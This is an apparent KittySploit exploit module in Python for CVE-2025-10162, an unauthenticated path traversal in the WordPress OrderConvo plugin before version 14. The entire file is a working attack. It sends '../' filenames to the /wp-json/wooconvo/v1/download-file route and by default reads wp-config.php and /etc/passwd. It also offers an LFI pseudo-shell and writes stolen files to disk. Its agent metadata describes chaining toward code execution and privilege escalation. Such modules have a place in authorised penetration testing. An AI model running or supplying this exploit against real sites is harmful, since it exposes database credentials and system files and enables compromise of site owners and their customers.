WordPress OrderConvo < 14 - Unauthenticated Path Traversal

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import re
from urllib.parse import urlencode

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.lfi import Lfi
from lib.protocols.http.wordpress import Wordpress


class Module(Exploit, Http_client, Lfi, Wordpress):

    __info__ = {
        "name": "WordPress OrderConvo < 14 - Unauthenticated Path Traversal",
        "description": (
            "CVE-2025-10162: Admin and Client Message After Order for WooCommerce (OrderConvo) "
            "before version 14 does not validate file paths in the REST route "
            "/wp-json/wooconvo/v1/download-file, allowing unauthenticated attackers to read "
            "arbitrary files via path traversal in the filename parameter."
        ),
        "author": ["Diamorphine", "Khaled Alenazi (Nxploited)", "KittySploit Team"],
        "cve": ["CVE-2025-10162"],
        "references": [
            "https://www.najeebmedia.com/",
            "https://wordpress.org/plugins/admin-and-client-message-after-order-for-woocommerce/",
            "https://nvd.nist.gov/vuln/detail/CVE-2025-10162",
            "https://wpscan.com/vulnerability/f878615d-955d-4365-87e0-6c928f548986/"],
        "platform": Platform.PHP,
        "tags": ["wordpress", "woocommerce", "orderconvo", "path-traversal", "lfi", "cve-2025-10162"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}, {'capability': 'file_read', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
    },
    }

    _PLUGIN_SLUG = "admin-and-client-message-after-order-for-woocommerce"
    _REST_SUFFIX = "/wp-json/wooconvo/v1/download-file"

    payload = OptString("", "Unused for this file-read exploit", required=False, advanced=True)

    file_read = OptString(
        "wp-config.php",
        "Remote file to read (absolute path or relative to web root)",
        required=True,
    )
    order_id = OptInteger(1, "order_id query parameter (PoC default: 1)", required=False)
    depth = OptInteger(4, "Number of '../' segments when file_read has no traversal", required=False, advanced=True)
    output_file = OptString("", "Local file to write the retrieved content", required=False)
    output_limit = OptInteger(12000, "Max characters to print when output_file is empty (0 = full)", required=False, advanced=True)

    def _wp_base(self) -> str:
        return self.wp_normalize_base_path(self.path)

    def _plugin_readme_path(self) -> str:
        return self.wp_plugin_path(self._wp_base(), self._PLUGIN_SLUG, "readme.txt")

    def _traversal_filename(self, remote_path: str, depth: int = None) -> str:
        p = (remote_path or "").strip()
        if not p:
            return ""
        if "../" in p or p.startswith(".."):
            return p
        d = max(1, int(depth if depth is not None else self.depth or 4))
        return f"{'../' * d}{p.lstrip('/')}"

    def _download_path(self, filename: str) -> str:
        q = urlencode({"order_id": int(self.order_id or 1), "filename": filename})
        return f"{self._wp_base()}{self._REST_SUFFIX}?{q}"

    def _is_vulnerable_version(self, version: str) -> bool:
        parts = self.wp_version_to_tuple(version) if version else ()
        return bool(parts) and parts[0] < 14

    @staticmethod
    def _looks_like_wp_config(body: str) -> bool:
        return bool(body and re.search(r"define\s*\(\s*['\"]DB_NAME['\"]", body, re.I))

    @staticmethod
    def _looks_like_etc_passwd(body: str) -> bool:
        return bool(body and re.search(r"^root:[x*!]:0:0:", body, re.M))

    def _read_remote(self, remote_path: str, depth: int = None):
        filename = self._traversal_filename(remote_path, depth=depth)
        if not filename:
            return None, "empty"

        try:
            resp = self.http_request(
                method="GET",
                path=self._download_path(filename),
                allow_redirects=False,
                timeout=max(int(self.timeout or 10), 15),
            )
        except Exception:
            return None, "error"

        if not resp:
            return None, "error"

        body = resp.text or ""
        if resp.status_code == 200 and body.strip():
            return body, "ok"
        if resp.status_code == 404 and "rest_no_route" in body:
            return None, "no_route"
        if resp.status_code in (200, 404) and not body.strip():
            return None, "empty"
        return None, "error"

    def execute(self, file_path: str) -> str:
        data, status = self._read_remote(file_path)
        if status == "no_route":
            print_error("REST route /wp-json/wooconvo/v1/download-file not found (plugin inactive or patched)")
            return ""
        if status == "empty":
            print_error("Endpoint responded but returned no file content")
            return ""
        if status == "error":
            print_error("File read request failed")
            return ""
        print_success("Arbitrary file read succeeded")
        return data or ""

    def check(self):
        version = None
        try:
            readme = self.http_request(
                method="GET",
                path=self._plugin_readme_path(),
                timeout=max(int(self.timeout or 10), 10),
            )
            if readme and readme.status_code == 200:
                version = self.wp_extract_version_from_readme(readme.text or "")
                if version and not self._is_vulnerable_version(version):
                    return {
                        "vulnerable": False,
                        "reason": f"OrderConvo version {version} appears patched (>= 14)",
                        "confidence": "high",
                    }
        except Exception as e:
            return {"vulnerable": False, "reason": f"Request failed: {e}", "confidence": "low"}

        for probe, probe_depth in (("wp-config.php", 4), ("/etc/passwd", 7)):
            data, status = self._read_remote(probe, depth=probe_depth)
            if status == "no_route":
                if version:
                    return {
                        "vulnerable": False,
                        "reason": f"OrderConvo {version} detected but REST download route unavailable",
                        "confidence": "medium",
                    }
                return {
                    "vulnerable": False,
                    "reason": "OrderConvo REST download route not found",
                    "confidence": "medium",
                }
            if status == "ok" and data:
                if self._looks_like_wp_config(data):
                    detail = "wp-config.php"
                    confidence = "high"
                elif self._looks_like_etc_passwd(data):
                    detail = "/etc/passwd"
                    confidence = "high"
                else:
                    detail = probe
                    confidence = "medium"
                reason = f"CVE-2025-10162 confirmed: read {detail} via path traversal"
                if version:
                    reason = f"OrderConvo {version}; {reason}"
                return {"vulnerable": True, "reason": reason, "details": detail, "confidence": confidence}

        if version and self._is_vulnerable_version(version):
            return {
                "vulnerable": True,
                "reason": f"Vulnerable OrderConvo version {version} detected; file-read probe inconclusive",
                "confidence": "medium",
            }
        return {
            "vulnerable": False,
            "reason": "OrderConvo traversal probe did not return readable content",
            "confidence": "low",
        }

    def run(self):
        try:
            alive = self.http_request(method="GET", path=f"{self._wp_base()}/" or "/")
        except Exception as e:
            print_error(f"Unable to reach target: {e}")
            return False

        if not alive or alive.status_code != 200:
            code = alive.status_code if alive else "no response"
            print_error(f"Target is not reachable (HTTP {code})")
            return False

        print_success("Target is alive")

        if self.shell_lfi:
            print_status("LFI pseudo-shell (paths are read via OrderConvo download-file)")
            self.handler_lfi()
            return True

        remote_path = str(self.file_read or "").strip()
        if not remote_path:
            print_error("file_read is required")
            return False

        data = self.execute(remote_path)
        if not data:
            return False

        if (
            not self._looks_like_wp_config(data)
            and not self._looks_like_etc_passwd(data)
            and len(data.strip()) < 8
        ):
            print_warning("Response was very short; file may not exist or traversal depth may be insufficient")

        local = str(self.output_file or "").strip()
        if local:
            try:
                with open(local, "w", encoding="utf-8", errors="ignore") as fh:
                    fh.write(data)
                print_success(f"Wrote {len(data)} bytes from {remote_path} to {local}")
            except OSError as e:
                print_error(f"Could not write output_file: {e}")
                return False
            return True

        limit = int(self.output_limit or 0)
        if limit > 0 and len(data) > limit:
            print_info(data[:limit] + "\n... [truncated]")
        else:
            print_info(data)
        return True